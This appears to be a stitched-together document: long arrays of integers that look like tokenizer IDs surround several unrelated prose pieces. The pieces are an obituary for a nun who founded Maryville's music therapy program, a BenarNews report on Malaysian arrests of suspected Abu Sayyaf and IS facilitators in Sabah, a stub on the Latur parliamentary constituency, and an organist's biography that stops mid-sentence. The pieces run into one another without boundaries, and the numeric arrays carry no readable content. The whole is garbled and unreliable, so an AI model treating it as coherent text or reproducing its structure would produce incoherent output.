[ 1625, 14, 267, 23750, 15, 187, 187, 45, 4894, 24535, 13, 253, 6393, 6169, 4007, 13, 556, 644, 17847, 407, 253, 22964, 273, 35213, 20254, 4978, 457, 84, 3438, 3484, 13, 1142, 273, 5207, 703, 457, 69, 10256, 247, 2716, 5331, 3622, 13, 285, 273, 253, 6393, 6169, 4750, 326, 703, 17846, 2149, 342, 14168, 7881, 275, 436, 5331, 15, 6676, 3531, 598, 247, 807, 3622, 672, 13, 3618, 1078, 617, 5091, 394, 14348, 13, 6393, 6169, 28173, 617, 323, 23569, 253, 3440, 4918, 2086, 15, 187, 187, 1628, 42, 1620, 1313, 247, 1436, 665, 1904, 457, 85, 2389, 617, 1806, 39449, 24535, 753, 15, 773, 17277, 10954, 403, 751, 1270, 19418, 13, 703, 369, 18462, 285, 1119, 247, 1039, 281, 1361, 1016, 5974, 281, 3986, 253, 1735, 1268, 1425, 187, 187, 2993, 310, 16139, 407, 617, 7586, 13, 49567, 16442, 274, 610, 273, 14296, 28, 15361, 707, 49567, 308, 445, 26666, 273, 14296, 285, 12324, 363, 596, 656, 8243, 273, 10039, 13, 6112, 28, 30124, 8819, 7252, 16442, 274, 610, 10512, 15, 273, 5003, 18089, 13, 6112, 13, 285, 6277, 16442, 274, 610, 273, 22119, 28, 767, 4936, 14, 79, 554, 248, 8819, 285, 767, 4936, 10633, 707, 15, 4058, 1273, 19338, 6445, 2338, 10956, 2516, 20254, 4978, 588, 1333, 617, 20915, 7532, 3344, 15, 2030, 387, 884, 247, 15, 78, 15, 275, 253, 34374, 29241, 1041, 570, 34687, 13, 48242, 3684, 2101, 80, 13616, 21775, 904, 275, 15808, 257, 317, 15, 7634, 451, 588, 956, 387, 2263, 39381, 36839, 15, 187, 187, 20536, 17215, 187, 187, 3404, 806, 17834, 13, 253, 11877, 7406, 2499, 13877, 5197, 285, 253, 659, 15, 7406, 44110, 1646, 281, 452, 37078, 1027, 21468, 15, 2596, 14993, 281, 2085, 253, 1682, 1557, 1896, 1563, 271, 2223, 25205, 6120, 15, 380, 643, 14993, 281, 5195, 253, 10763, 273, 3440, 20312, 352, 476, 15, 187, 187, 1989, 247, 4451, 14448, 4453, 281, 13398, 1110, 767, 21468, 347, 2223, 347, 1896, 275, 253, 2919, 434, 806, 11088, 3440, 4918, 2086, 1108, 281, 253, 5649, 273, 1097, 8889, 285, 253, 952, 597, 5752, 15, 17557, 698, 571, 27, 1889, 7334, 26957, 21882, 90, 2320, 9224, 1916, 6618, 5863, 11760, 496, 16336, 1240, 187, 187, 17557, 698, 571, 457, 84, 3513, 7015, 556, 7329, 5827, 407, 253, 49543, 26957, 21882, 90, 2320, 41515, 1387, 281, 873, 598, 247, 2613, 275, 253, 9268, 48191, 16336, 1240, 1375, 1563, 253, 5263, 273, 884, 952, 665, 14163, 6518, 13282, 23689, 4288, 281, 253, 1387, 457, 84, 2613, 275, 253, 11053, 22075, 15, 187, 187, 14897, 1005, 27819, 253, 5827, 846, 2709, 39395, 275, 253, 14730, 378, 9584, 80, 1375, 273, 16336, 1240, 432, 3344, 15, 2030, 281, 4416, 15, 721, 13, 48191, 3513, 7015, 15493, 312, 324, 401, 7958, 74, 3972, 328, 753, 275, 247, 3908, 15, 187, 187, 1628, 23527, 5839, 432, 253, 884, 25638, 9833, 275, 16336, 1240, 2692, 627, 497, 9437, 407, 7412, 40, 281, 873, 598, 247, 894, 275, 16336, 1240, 1806, 401, 7958, 74, 3972, 328, 753, 15, 187, 187, 21756, 8075, 9833, 767, 18618, 2458, 285, 1264, 36935, 15777, 1309, 253, 806, 873, 273, 4828, 14, 49587, 39395, 327, 3344, 15, 2030, 285, 3436, 275, 253, 22431, 3874, 273, 7889, 40946, 13, 16336, 1240, 13, 401, 7958, 74, 753, 15, 187, 187, 1628, 4041, 273, 253, 25638, 13, 247, 6931, 14, 2913, 14, 744, 36935, 2610, 13, 574, 35696, 22964, 281, 247, 8474, 6657, 273, 247, 7075, 1387, 275, 253, 11053, 22075, 275, 5307, 1806, 344, 753, 15, 187, 187, 39, 7958, 74, 13072, 281, 4271, 253, 36935, 2610, 13, 533, 753, 253, 9101, 14163, 32452, 342, 247, 8474, 6657, 273, 247, 354, 14, 34330, 280, 2418, 313, 1830, 10, 1387, 275, 253, 11053, 22075, 15, 187, 187, 510, 9101, 13, 401, 7958, 74, 753, 13, 2959, 7997, 281, 10073, 2067, 4110, 2758, 275, 15153, 281, 253, 11053, 43783, 14254, 273, 1503, 47311, 28874, 13, 835, 597, 497, 3264, 281, 6604, 247, 41515, 1387, 15, 187, 187, 39, 7958, 74, 858, 417, 4271, 253, 3872, 1005, 273, 253, 4110, 2758, 285, 352, 369, 417, 2590, 604, 597, 8379, 4925, 616, 12095, 15, 32668, 2392, 2868, 253, 1740, 643, 25638, 497, 3206, 275, 253, 4288, 16669, 347, 973, 15, 187, 187, 510, 4999, 10056, 651, 1581, 4110, 281, 3324, 275, 20998, 432, 29797, 10497, 281, 253, 11053, 22075, 323, 11757, 3733, 13, 401, 7958, 74, 753, 15, 187, 187, 1628, 510, 1072, 7075, 894, 812, 320, 908, 281, 8027, 8104, 275, 16336, 1240, 275, 253, 2852, 1806, 344, 753, 15, 187, 187, 39, 7958, 74, 858, 417, 2085, 625, 4278, 327, 253, 25638, 13, 533, 753, 597, 497, 875, 253, 11880, 273, 5922, 285, 2456, 285, 767, 273, 731, 4307, 347, 5188, 43770, 1223, 581, 369, 247, 9735, 21114, 3803, 15, 2596, 369, 35700, 285, 253, 1551, 30060, 4307, 275, 5639, 14731, 11947, 15, 187, 187, 27077, 14, 32511, 3513, 671, 9833, 1264, 36935, 15777, 285, 247, 48191, 3416, 275, 16336, 1240, 457, 84, 7009, 1301, 606, 3286, 327, 4416, 15, 577, 13, 401, 7958, 74, 753, 15, 187, 187, 1328, 753, 253, 25638, 497, 6571, 10329, 398, 13, 533, 581, 273, 731, 369, 247, 3435, 14, 2913, 14, 744, 637, 6566, 281, 320, 247, 18273, 35200, 273, 247, 6657, 273, 253, 5320, 382, 26957, 21882, 90, 2320, 5901, 313, 1719, 40, 10, 1754, 275, 42385, 266, 275, 253, 11053, 22075, 13, 835, 13281, 36917, 452, 644, 6498, 323, 8007, 15, 187, 187, 688, 1529, 3332, 956, 14, 484, 25682, 275, 7889, 40946, 13, 401, 7958, 74, 753, 9061, 9833, 247, 7584, 14, 2913, 14, 744, 7674, 6254, 13, 247, 36935, 2610, 342, 247, 48191, 9928, 14544, 3708, 15, 380, 7674, 6254, 285, 253, 643, 7457, 25638, 497, 28952, 762, 253, 9044, 5566, 5060, 313, 22166, 3189, 16997, 10, 313, 52, 2697, 3788, 10, 3162, 4050, 15, 187, 187, 11752, 322, 2697, 3788, 13, 48191, 9061, 476, 2186, 25638, 598, 281, 3349, 1897, 1293, 2332, 15, 380, 1569, 7932, 253, 21074, 9044, 3162, 13, 534, 4136, 323, 22680, 273, 598, 281, 767, 1107, 1293, 10568, 9061, 281, 1246, 253, 9101, 275, 1302, 15, 187, 187, 510, 31285, 3324, 281, 42671, 253, 1180, 273, 952, 28952, 407, 48191, 9061, 327, 18910, 273, 4859, 342, 7075, 2390, 1309, 253, 2469, 1740, 1107, 13, 2556, 281, 247, 6029, 274, 19537, 47966, 15, 187, 187, 6189, 262, 7622, 323, 36917, 187, 187, 8693, 1770, 13, 22587, 706, 21128, 2752, 23341, 367, 2682, 333, 13, 7015, 273, 253, 3872, 3513, 457, 84, 4828, 14, 32511, 382, 2714, 7789, 13, 753, 16336, 1240, 556, 1048, 5608, 347, 247, 18622, 7622, 323, 5639, 36917, 13, 1690, 432, 20667, 23340, 15, 187, 187, 1628, 2042, 597, 1053, 457, 85, 18622, 432, 16336, 1240, 13, 597, 476, 564, 281, 11053, 22075, 3587, 432, 616, 1728, 2586, 15, 1292, 352, 457, 84, 247, 1048, 9455, 689, 253, 36375, 1403, 27544, 11936, 1806, 344, 753, 15, 773, 2598, 352, 310, 1199, 6927, 281, 18622, 432, 16336, 1240, 1425, 187, 187, 510, 22431, 3874, 273, 7889, 40946, 3400, 33111, 3238, 281, 253, 11053, 22075, 13, 835, 7412, 40, 36917, 10196, 275, 8905, 18430, 15, 7412, 40, 310, 32566, 323, 21064, 33650, 13, 10110, 723, 285, 3632, 8104, 275, 253, 11053, 22075, 15, 187, 187, 45772, 253, 3929, 32, 2635, 4496, 1908, 1053, 839, 3063, 281, 5416, 326, 24520, 13411, 8439, 476, 4035, 281, 320, 2104, 281, 2085, 2074, 2600, 15, 187, 187, 17126, 274, 19537, 187, 187, 17126, 274, 19537, 457, 7517, 310, 281, 2085, 10668, 342, 7899, 3668, 285, 1491, 326, 13806, 253, 2570, 285, 2455, 14, 28276, 1533, 1475, 731, 15, 2726, 1728, 21505, 275, 21524, 8952, 13, 28191, 13, 21789, 19924, 23799, 13, 21789, 19924, 23340, 285, 4383, 13, 6029, 274, 19537, 10316, 14793, 3668, 281, 697, 11117, 8446, 15, 8283, 6029, 274, 19537, 15, 26713, 342, 253, 9214, 273, 6029, 274, 19537, 187, 187, 36234, 1974, 42372, 187, 187, 1552, 4422, 4648, 14268, 594, 326, 359, 476, 2085, 368, 342, 253, 1682, 2608, 2793, 1896, 15, 49391, 1491, 310, 7141, 275, 634, 9882, 285, 17923, 3470, 824, 347, 26182, 368, 672, 368, 1091, 281, 776, 4422, 285, 9073, 776, 2285, 281, 2096, 534, 7118, 273, 253, 4422, 368, 1089, 954, 4722, 285, 4217, 15, 187, 187, 1394, 476, 4575, 512, 273, 634, 19550, 7533, 407, 49858, 253, 28815, 327, 253, 1669, 1133, 1930, 15, 187, 187, 20, 5784, 7021, 49158, 187, 187, 1552, 4422, 4648, 5559, 41220, 285, 6515, 20285, 281, 4822, 17679, 1491, 824, 347, 253, 1180, 273, 12942, 281, 253, 2670, 13, 285, 253, 954, 4633, 7223, 15, 187, 187, 9499, 10413, 841, 14268, 11410, 7729, 441, 281, 3157, 776, 4422, 15, 187, 187, 25902, 187, 187, 7845, 8046, 659, 1467, 314, 3532, 829, 552, 49158, 806, 594, 326, 359, 476, 5321, 634, 17971, 2, 187, 187, 14087, 49158, 187, 187, 1552, 4422, 4648, 253, 1563, 3081, 14268, 27, 329, 1397, 1215, 13, 5733, 1552, 285, 15167, 15, 187, 187, 25902, 187, 187, 7845, 8046, 659, 1467, 314, 3532, 829, 552, 49158, 806, 594, 326, 359, 476, 5321, 634, 17971, 2, 45, 4953, 313, 45, 536, 16336, 3227, 37288, 10, 187, 187, 45, 4953, 45802, 16336, 3227, 37288, 310, 581, 273, 253, 5693, 45802, 16336, 3227, 313, 1148, 8782, 552, 10, 13085, 4601, 273, 12828, 31210, 49604, 1375, 275, 10439, 5427, 15, 187, 187, 27711, 13288, 187, 13349, 1574, 13, 846, 253, 7092, 273, 38352, 3535, 273, 253, 30566, 13085, 4601, 275, 4695, 13, 418, 4953, 45802, 16336, 3227, 37288, 12093, 253, 1563, 2800, 657, 301, 5582, 16336, 3227, 313, 18596, 12937, 800, 14184, 10, 13288, 27, 187, 187, 22282, 273, 13171, 187, 187, 41083, 14, 3832, 27, 45866, 86, 1371, 1057, 417, 2226, 187, 187, 4814, 187, 187, 38, 1788, 1543, 187, 187, 13425, 12337, 6157, 187, 187, 13425, 12337, 4748, 187, 187, 13425, 12337, 4059, 187, 187, 13425, 12337, 6247, 187, 187, 16927, 187, 187, 7504, 4859, 187, 45, 4953, 298, 536, 18429, 3227, 50276, 585, 2376, 86, 1371, 6132, 6247, 1543, 4278, 187, 187, 1413, 27, 45, 536, 16336, 3227, 13085, 4601, 275, 12828, 31210, 49604, 187, 1413, 27, 45, 4953, 3286, 187, 1413, 27, 37010, 982, 273, 427, 12086, 3286, 13804, 744, 17468, 437, 187, 187, 13804, 744, 17468, 437, 313, 883, 2552, 37400, 1108, 1722, 5080, 23084, 10, 369, 271, 2448, 1963, 382, 15, 50276, 1328, 369, 973, 1929, 347, 247, 40247, 285, 3336, 1080, 13, 9551, 387, 19120, 3370, 472, 285, 6398, 13740, 2767, 13, 247, 25375, 273, 247, 1781, 1180, 273, 448, 7909, 271, 45739, 285, 14088, 1963, 7437, 13, 285, 347, 247, 11906, 6657, 275, 253, 2448, 33680, 273, 10164, 1346, 15, 187, 187, 14660, 285, 5249, 187, 13804, 744, 17468, 437, 369, 5686, 275, 41198, 13, 20507, 13, 1457, 2816, 15, 50276, 3404, 2363, 25279, 13, 344, 3395, 253, 1963, 382, 273, 3973, 1986, 43327, 10643, 47441, 6412, 275, 41198, 13, 20507, 13, 1223, 12392, 1963, 342, 39159, 443, 1079, 285, 5119, 16638, 15, 8757, 15, 50276, 40151, 1107, 1996, 13, 275, 31687, 13, 344, 369, 11162, 10164, 382, 387, 2263, 39381, 6412, 13, 1457, 2816, 13, 285, 344, 671, 4307, 387, 659, 15, 5490, 253, 15405, 13, 1810, 1032, 22604, 3733, 247, 8290, 285, 6838, 40656, 327, 2129, 11015, 285, 4882, 323, 6926, 9055, 3238, 15, 50276, 688, 29063, 13, 344, 12431, 253, 401, 2696, 48, 11833, 3691, 432, 253, 2448, 33680, 273, 10164, 1346, 13, 697, 4585, 25344, 13, 1223, 344, 4821, 281, 1263, 387, 19120, 3370, 472, 4726, 762, 22547, 411, 6533, 66, 274, 285, 19528, 35015, 15, 187, 187, 688, 31039, 13, 17468, 437, 369, 11162, 10164, 382, 285, 13999, 2683, 2237, 387, 659, 15, 2516, 434, 6412, 13, 8911, 3228, 13, 1457, 8911, 13, 285, 253, 1735, 807, 13, 30953, 13, 344, 7028, 8524, 928, 754, 5242, 327, 3978, 3436, 275, 253, 34086, 273, 659, 15, 4033, 394, 311, 485, 88, 434, 6412, 15, 50276, 20810, 13, 8524, 928, 4962, 816, 2800, 2607, 1996, 327, 4565, 3285, 15, 50276, 48259, 437, 1996, 48194, 2200, 275, 28507, 281, 22138, 4009, 282, 1952, 16442, 628, 275, 659, 15, 2516, 434, 6412, 13, 285, 275, 326, 1072, 807, 3395, 253, 10353, 382, 281, 253, 46827, 443, 14906, 9585, 285, 247, 11719, 12819, 761, 1562, 382, 387, 31465, 6412, 15, 187, 187, 48259, 437, 4895, 281, 2263, 39381, 6412, 275, 22745, 13 ]

sing-alongs. Lombardi, the Maryville president, has been impressed by the loyalty of Sister Padberg’s former students, many of whom she’d taught a half century ago, and of the Maryville staff that she tutored with math challenges in this century. Many turned up a year ago when, weeks before her 90th birthday, Maryville honored her for founding the music therapy program. “I never met a person who didn’t love her,” Lombardi said. “Best teachers are like great coaches, she was encouraging and found a way to help each student to reach the next level.” She is survived by her sister, Peggy McGarry of Houston; nieces Peggy Trenholm of Houston and Terri Thyssen of Spring, Texas; nephews William McGarry Jr. of San Antonio, Texas, and Michael McGarry of Pittsburgh; two grand-nephews and two grandnieces. Her second cousin Jesuit Father John Padberg will say her funeral Mass Jan. 25 at 10 a.m. in the Villa Duchesne Chapel, 801 South Spoede Rd., in Frontenac. Burial will follow at Calvary Cemetery. Related Content At first glance, the Saint Louis University Cancer Center and the St. Louis Symphony seem to have vastly different missions. One seeks to provide the best care possible following an often devastating diagnosis. The other seeks to spread the beauty of music wherever it can. But a unique collaboration looks to combine those two missions as often as possible in the region's first comprehensive music therapy program – to the benefit of both organizations and the people they serve.Malaysia: Exposed Abu Sayyaf Plan To Set Up Base In Sabah Malaysia’s police chief has exposed plans by the ruthless Abu Sayyaf militant group to set up a base in the east Malaysian Sabah state following the arrest of 10 people who allegedly helped suspected terrorists travel to the group’s base in the southern Philippines. Authorities uncovered the plans after multiple raids in the eastern Borneo state of Sabah from Jan. 25 to Feb. 6, Malaysian police chief Mohamad Fuzi Harun said in a statement. “Initial investigation from the 10 suspects arrested in Sabah showed there were attempts by ASG to set up a cell in Sabah,” Fuzi Harun said. Officials arrested two Malaysians and three Filipinos during the first set of counter-terrorism raids on Jan. 25 and 26 in the coastal town of Sandakan, Sabah, Fuzi said. “One of the suspects, a 39-year-old Filipino, had pledged loyalty to a senior leader of a terror group in the southern Philippines in 2000,” he said. Fuzi declined to identify the Filipino, but said the suspect allegedly communicated with a senior leader of a pro-Islamic State (IS) group in the southern Philippines. The suspect, Fuzi said, received instructions to assist several IS members in traveling to the southern Philippine province of Zamboanga, where they were expected to join a militant group. Fuzi did not identify the nationalities of the IS members and it was not clear if they successfully reached their destination. Investigators believe the four other suspects were involved in the travel arrangements as well. The safe passage would allow IS to bring in fighters from Southeast Asia to the southern Philippines for combat training, Fuzi said. “The same terror cell could be used to launch attacks in Sabah in the future,” he said. Fuzi did not provide more details on the suspects, but said they were between the ages of 33 and 50 and two of them worked as laborers while one was a boat skipper. One was unemployed and the rest illegally worked in foreign currency trading. Counter-terror police also arrested three Filipinos and a Malaysian woman in Sabah’s Penampang district on Feb. 4, Fuzi said. He said the suspects were mostly gardeners, but one of them was a 27-year-old man believed to be a trusted aide of a leader of the extremist Abu Sayyaf Group (ASG) based in Basilan in the southern Philippines, where Islamic militants have been operating for decades. In another recent follow-up raid in Sandakan, Fuzi said authorities arrested a 49-year-old cab driver, a Filipino with a Malaysian permanent resident status. The cab driver and the other nine suspects were detained under the Security Offenses (Special Measures) (SOSMA) Act 2012. Under SOSMA, Malaysian authorities can hold suspects up to 28 days without trial. The law replaced the Internal Security Act, which allowed for detention of up to two years without requiring authorities to present the suspect in court. The arrests bring to 382 the number of people detained by Malaysian authorities on suspicion of links with terror groups during the past four years, according to a BenarNews tally. Transit route for militants Last month, Ayob Khan Mydin Pitchay, chief of the national police’s counter-terrorist special branch, said Sabah has long served as a transit route for foreign militants, including from neighboring Indonesia. “If they don’t transit from Sabah, they can go to southern Philippines directly from their home country. But it’s a long journey over the Sulawesi Sea,” he said. “So it is much easier to transit from Sabah.” The coastal town of Sandakan provides ferry services to the southern Philippines, where ASG militants operate in remote villages. ASG is notorious for kidnappings, bombings and random attacks in the southern Philippines. Enjoy the article? Then please consider donating today to ensure that Eurasia Review can continue to be able to provide similar content. BenarNews BenarNews’ mission is to provide readers with accurate news and information that reflects the complex and ever-changing world around them. With homepages in Bengali, Thai, Bahasa Malaysia, Bahasa Indonesia and English, BenarNews brings timely news to its diverse audience. Copyright BenarNews. Used with the permission of BenarNews Privacy Overview This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognizing you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful. You can adjust all of your cookie settings by navigating the tabs on the left hand side. 3rd Party Cookies This website uses Google Analytics and Statcounter to collect anonymous information such as the number of visitors to the site, and the most popular pages. Keeping these cookies enabled helps us to improve our website. disable Please enable Strictly Necessary Cookies first so that we can save your preferences! Additional Cookies This website uses the following additional cookies: Adsense, AddThis and YouTube. disable Please enable Strictly Necessary Cookies first so that we can save your preferences!Latur (Lok Sabha constituency) Latur Lok Sabha constituency is one of the 48 Lok Sabha (parliamentary) constituencies of Maharashtra state in western India. Assembly segments Presently, after the implementation of delimitation of the parliamentary constituencies in 2008, Latur Lok Sabha constituency comprises the following six Vidhan Sabha (Legislative Assembly) segments: Members of Parliament 1952-61: Constituency does not exist Key Election results General elections 2004 General elections 2009 General elections 2014 General elections 2019 Notes External links Latur lok sabha constituency election 2019 results details Category:Lok Sabha constituencies in Maharashtra Category:Latur district Category:Politics of Nanded districtHarold Friedell Harold Friedell (11 May 1905 – 17 February 1958) was an American organist. He was well known as a performer and educator, teaching at Juilliard and Union Seminary, a composer of a large number of choral anthems and solo organ pieces, and as a prominent leader in the American Guild of Organists. Life and career Harold Friedell was born in Jamaica, Queens, New York. At age sixteen, he became the organist of First United Methodist Episcopal Church in Jamaica, Queens, while studying organ with Clement Gale and David McK. Williams. Seven years later, in 1927, he was appointed Organist at Calvary Church, New York, and he also worked at St. James the Less, Scarsdale training a boys and girls choir on weekdays and playing for Sunday afternoon services. In 1929, he earned the FAGO diploma from the American Guild of Organists, its highest designation, while he continued to study at Juilliard School under Bernard Wagenaar and Roger Sessions. In 1931, Friedell was appointed Organist and Choirmaster at St. John's Church, Jersey City, New Jersey, and the next year, 1932, he married Muriel Healy on June 26 in the chapel of St. Bartholomew's Church. Unfortunately, Muriel died just six months later on December 29. Friedell later remarried in 1934 to Amy Valleau McGown in St. John's Church, and in that same year became the accompanist to the Downtown Glee Club and a regularly featured recitalist at Trinity Church. Friedell returned to Calvary Church in 1939,

[ 285, 23000, 21191, 33009, 253, 19561, 16317, 35688, 313, 19, 481, 367, 15748, 5149, 7602, 313, 49, 34772, 10, 310, 3413, 432, 253, 18634, 273, 253, 2614, 2685, 7602, 13, 2931, 432, 253, 7602, 14, 2606, 9191, 5950, 387, 8593, 337, 285, 374, 313, 35, 481, 367, 34772, 310, 2931, 347, 13803, 89, 16, 12507, 85, 13, 342, 13803, 89, 253, 1854, 2978, 2112, 253, 4055, 1282, 273, 253, 35688, 432, 6887, 337, 281, 374, 285, 13803, 85, 253, 18622, 673, 323, 253, 3174, 273, 253, 7602, 5149, 281, 38500, 432, 6887, 337, 281, 374, 5774, 1010, 1237, 14, 34637, 57, 14, 1036, 14, 52, 18, 14, 49, 18146, 14, 18, 4253, 39, 18, 94, 187, 187, 15568, 187, 6877, 187, 187, 25438, 1363, 6289, 323, 10177, 14478, 285, 3578, 5875, 15986, 1561, 2074, 2363, 2491, 313, 10722, 2363, 4567, 3279, 1638, 1107, 10, 497, 44045, 2908, 15, 367, 34772, 369, 7515, 432, 7602, 10603, 970, 16197, 14478, 327, 495, 53, 14478, 313, 688, 1541, 571, 13, 6778, 2824, 10, 342, 7602, 7340, 273, 7783, 7892, 16, 84, 15, 19039, 367, 34772, 313, 49, 34772, 709, 10, 369, 6786, 432, 16197, 14478, 342, 13493, 1180, 273, 25578, 12475, 313, 53, 373, 426, 608, 13818, 481, 380, 1055, 273, 11935, 308, 373, 327, 367, 34772, 369, 6760, 407, 11935, 1066, 48027, 313, 1235, 6, 905, 53, 373, 426, 884, 13818, 5290, 9963, 6, 905, 53, 373, 426, 1458, 13818, 5290, 6879, 6, 905, 53, 373, 426, 1384, 13818, 5290, 285, 5096, 6, 905, 53, 373, 426, 2030, 13818, 9014, 806, 407, 8493, 12475, 1309, 6015, 14433, 273, 253, 3236, 9288, 1029, 14, 46258, 941, 15, 10209, 13, 1066, 48027, 369, 2684, 407, 941, 8570, 347, 973, 347, 407, 941, 25001, 432, 253, 3806, 367, 34772, 941, 873, 15, 6610, 13, 436, 369, 2429, 281, 367, 34772, 432, 6015, 13733, 342, 11052, 308, 373, 281, 7472, 253, 1055, 273, 25258, 9522, 7629, 275, 5019, 342, 11935, 1066, 48027, 15, 29666, 10698, 3910, 313, 51, 7273, 84, 10, 342, 1675, 281, 367, 34772, 709, 497, 5118, 323, 1066, 22163, 6216, 941, 15, 187, 187, 9340, 187, 6877, 187, 187, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 986, 2722, 326, 1599, 416, 7273, 275, 367, 34772, 588, 2572, 323, 11052, 308, 373, 27, 323, 308, 373, 426, 884, 13818, 13, 1599, 416, 7273, 369, 374, 6, 323, 1066, 48027, 407, 6015, 14433, 13, 495, 6, 323, 941, 8570, 13, 608, 6, 323, 941, 25001, 285, 898, 6, 323, 6015, 13733, 15, 1198, 308, 373, 426, 2030, 13818, 13, 416, 7273, 84, 2559, 281, 884, 6, 323, 6015, 14433, 13, 1903, 6, 323, 1097, 941, 8570, 347, 973, 347, 941, 25001, 285, 1722, 6, 323, 6015, 13733, 15, 1720, 31598, 13733, 4950, 247, 13424, 7629, 275, 367, 34772, 273, 598, 281, 818, 5294, 327, 1755, 273, 3629, 2228, 407, 11935, 1066, 48027, 15, 1198, 6015, 14433, 13, 308, 373, 273, 1384, 13818, 390, 2406, 310, 2424, 323, 416, 7273, 417, 27433, 818, 7739, 187, 187, 22367, 29030, 10698, 3064, 313, 51, 7273, 10, 275, 22678, 4222, 10724, 5149, 7602, 432, 7602, 14, 36034, 14478, 846, 11935, 1066, 48027, 13, 342, 1675, 281, 367, 34772, 14, 515, 18114, 342, 13493, 11935, 6064, 313, 49, 34772, 709, 4846, 15, 9792, 48027, 313, 1235, 6, 905, 53, 373, 426, 884, 13818, 5290, 9963, 6, 905, 53, 373, 426, 1458, 13818, 5290, 6879, 6, 905, 53, 373, 426, 1384, 13818, 5290, 285, 5096, 6, 905, 53, 373, 426, 2030, 13818, 3851, 369, 806, 6786, 407, 6015, 14433, 273, 253, 3236, 9288, 14478, 941, 323, 367, 34772, 709, 15, 5220, 1066, 48027, 369, 6786, 407, 941, 8570, 347, 973, 347, 407, 941, 25001, 432, 253, 3806, 367, 34772, 941, 873, 15, 6610, 13, 1066, 48027, 369, 6786, 407, 6015, 13733, 15, 11759, 8965, 1957, 2629, 11254, 275, 416, 7273, 5774, 1010, 1237, 14, 34637, 57, 14, 1036, 14, 52, 18, 14, 49, 18146, 14, 19, 4253, 39, 19, 94, 187, 187, 22807, 187, 15765, 187, 187, 9083, 8673, 2544, 9569, 598, 281, 818, 6, 7629, 275, 367, 34772, 15, 2091, 6941, 1679, 685, 818, 6, 2228, 275, 367, 34772, 6803, 13, 308, 373, 273, 387, 1878, 1384, 13818, 310, 2424, 15, 4410, 32578, 308, 373, 275, 19403, 36958, 14, 27189, 16197, 14478, 1057, 417, 2723, 342, 941, 8570, 390, 25001, 273, 1029, 14, 46258, 16197, 14478, 941, 15, 187, 187, 29610, 187, 6877, 187, 187, 7834, 273, 436, 2561, 369, 14597, 407, 271, 49795, 4098, 2530, 407, 3196, 15, 416, 7566, 40524, 358, 78, 15, 187, 5498, 626, 2985, 253, 7315, 390, 3909, 7031, 273, 253, 1249, 394, 285, 2457, 3790, 273, 253, 4240, 22838, 17226, 1294, 9849, 406, 1350, 11218, 13, 253, 2828, 74, 15634, 2146, 49937, 17826, 1342, 3313, 15, 5057, 253, 1408, 3487, 2708, 327, 849, 281, 3698, 4426, 13783, 285, 512, 1740, 1733, 375, 327, 7814, 13, 4223, 3436, 15, 187, 187, 45, 10579, 1719, 473, 3077, 25382, 353, 21667, 1311, 17790, 187, 187, 12101, 32946, 187, 187, 51, 15289, 1249, 1040, 17826, 1342, 1040, 33330, 84, 6169, 13, 22162, 7023, 13, 4223, 3436, 187, 187, 15645, 4889, 10257, 353, 21667, 337, 428, 337, 27, 361, 268, 15, 78, 15, 29511, 428, 353, 5851, 12101, 187, 187, 10758, 969, 436, 807, 13, 353, 5851, 12101, 588, 2329, 253, 806, 1733, 375, 432, 512, 1249, 16334, 3153, 15, 7890, 253, 353, 5851, 12101, 5048, 47135, 281, 923, 604, 368, 4390, 755, 353, 5851, 12101, 15, 1422, 476, 671, 897, 326, 3048, 281, 2748, 326, 634, 10856, 11716, 4459, 353, 5851, 12101, 604, 597, 4390, 513, 417, 15, 12092, 285, 10112, 281, 436, 2129, 457, 84, 41860, 273, 418, 410, 42489, 13, 776, 13772, 4735, 835, 359, 2312, 562, 7794, 273, 253, 8141, 47422, 10325, 342, 368, 13, 253, 3114, 15, 1284, 1900, 13, 4496, 7279, 253, 806, 2523, 323, 253, 15985, 1832, 285, 4859, 281, 4114, 2144, 281, 923, 752, 457, 84, 2168, 644, 4232, 15, 187, 187, 1848, 20027, 187, 187, 2214, 253, 2469, 1643, 3618, 13, 359, 452, 644, 4882, 1475, 342, 36365, 11057, 272, 15, 2064, 9400, 556, 11848, 715, 271, 17947, 715, 849, 253, 13669, 3139, 310, 10932, 285, 253, 1180, 272, 2718, 3206, 15, 187, 187, 2512, 369, 247, 2257, 273, 5955, 5001, 253, 26086, 273, 253, 20818, 1561, 253, 40294, 13, 5742, 970, 253, 5841, 525, 273, 253, 19947, 5908, 281, 4271, 253, 8630, 15, 309, 457, 78, 4983, 281, 5194, 326, 352, 1537, 320, 1077, 21643, 281, 2096, 665, 310, 665, 13, 3782, 672, 20818, 432, 2709, 11811, 403, 275, 253, 1072, 6680, 15, 3900, 253, 5841, 525, 1537, 320, 247, 4451, 21674, 13, 247, 11572, 476, 20786, 266, 642, 3081, 1491, 432, 352, 15, 187, 187, 2512, 369, 247, 14876, 281, 564, 896, 281, 247, 3295, 14, 22257, 985, 13, 534, 651, 320, 13103, 816, 281, 320, 2104, 281, 1333, 773, 10252, 14, 25438, 6306, 407, 1806, 533, 352, 9193, 751, 368, 651, 1408, 562, 273, 9830, 1077, 4541, 604, 326, 369, 634, 760, 15301, 15, 187, 187, 17756, 13, 309, 1804, 767, 4610, 27, 187, 187, 18, 15, 15397, 281, 9067, 88, 250, 4584, 457, 84, 14876, 13, 253, 8630, 310, 1929, 347, 27, 36365, 1852, 14, 2641, 251, 1999, 1219, 24656, 14, 52, 1456, 1852, 15, 1893, 253, 7002, 6215, 275, 11487, 2109, 36365, 16955, 29726, 651, 320, 773, 45255, 14, 14039, 668, 604, 597, 457, 250, 327, 247, 7517, 342, 816, 616, 40294, 285, 11487, 14, 45255, 14, 14039, 604, 352, 457, 84, 247, 1943, 4471, 14, 84, 3362, 1406, 270, 50027, 15, 187, 187, 19, 15, 32415, 253, 1072, 985, 533, 342, 9830, 3185, 273, 253, 1777, 251, 1999, 1219, 24656, 13, 594, 3185, 273, 773, 45255, 14, 14039, 668, 352, 651, 320, 773, 22526, 14, 14039, 668, 390, 773, 3507, 14, 22526, 14, 14039, 1425, 187, 187, 1466, 457, 84, 1379, 247, 1007, 387, 247, 2457, 3630, 14, 484, 273, 253, 3426, 2605, 347, 352, 4390, 9572, 27, 187, 187, 54, 5607, 49412, 58, 35286, 15051, 2637, 708, 4145, 39845, 18769, 6570, 187, 187, 4943, 310, 253, 2685, 273, 3923, 347, 973, 347, 253, 2605, 16, 6292, 272, 29793, 323, 1016, 1268, 273, 253, 13669, 15, 187, 187, 2894, 10810, 26573, 187, 187, 22893, 273, 253, 530, 5607, 15, 187, 187, 41, 15, 36, 